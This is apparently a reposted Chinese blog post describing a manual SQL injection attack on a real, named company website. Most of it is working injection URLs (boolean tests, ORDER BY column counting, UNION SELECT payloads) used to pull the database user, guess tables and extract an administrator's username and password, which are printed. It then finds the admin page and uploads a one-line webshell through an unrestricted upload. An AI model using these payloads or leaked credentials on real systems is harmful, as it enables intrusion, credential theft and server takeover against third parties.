自己总结的,一次简单的手工注入


手工SQL注入:

网址:http://battery.tcl.com/read_news.php?id=38

判断是否有注入点,通常是:单引号(') and 1=1 and 1=2
http://battery.tcl.com/read_news.php?id=38' (错误)
http://battery.tcl.com/read_news.php?id=38 and 1=1 (正确)
http://battery.tcl.com/read_news.php?id=38 and 1=2 (错误)

判断数据库中数据条数: order by X
http://battery.tcl.com/read_news.php?id=38 order by 5 <正确>
http://battery.tcl.com/read_news.php?id=38 order by 8 <错误>
http://battery.tcl.com/read_news.php?id=38 order by 7 <正确>

说明数据库中有6条数据

http://battery.tcl.com/read_news.php?id=38 and 1=2 union select 1,2,3,4,5,6,7

查看在页面上显示的数,待会替换为自己想要的数据,就可以读出:(这儿显示出2,4,7)


http://battery.tcl.com/read_news.php?id=38 and 1=2 union select 1,user(),3,4,5,6,7即可读出数据库用户名=》jacky@localhost


常用的MySQL内置函数:
USER() ——用户 =》jacky@localhost
database() --数据库名 =》battery
version() ——数据库版本
char() ——指定字符
load_file() ——读取指定文件

看看读取数据库是否能成功:
http://battery.tcl.com/read_news.php?id=38 and 1=2 union select 1,table_name,3,4,5,6,7 from information_schema.tables

<遗憾的是失败了>

union select 1,2,3,SCHEMA_NAME,5,6,7 from information_schema.SCHEMATA

<也失败了> 哎 只能靠猜了,这个主要靠经验,当然,也可以靠工具,拿本字典跑,这儿运气比较好,一下下就猜出来了:

http://battery.tcl.com/read_news.php?id=38 and 1=2 union select 1,username,3,4,5,6,7 from admin (不是)

http://battery.tcl.com/read_news.php?id=38 and 1=2 union select 1,username,3,4,5,6,7 from user (对了)

http://battery.tcl.com/read_news.php?id=38 and 1=2 union select 1,password,3,4,5,6,7 from user

这样就获得了后台后台用户username 和password:
username:tcl168
password:ljc22418

接下来就是找后台,这儿拿工具扫的话,有点难,扫不出来,还是得靠经验:后台在网址里面:http://battery.tcl.com/battery/login.php
所以说得多实践,多积累经验,经验才是最好的知识!

废话不多说,直接登录,看一遍后台:1.上传点。上传点是否做了限制,还有数据库备份什么的对后面拿shell都可能有很多用;

找到上传点,看了看,发现没有上传限制,直接一个一句话传上去。拿菜刀一连,成功!OK!

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM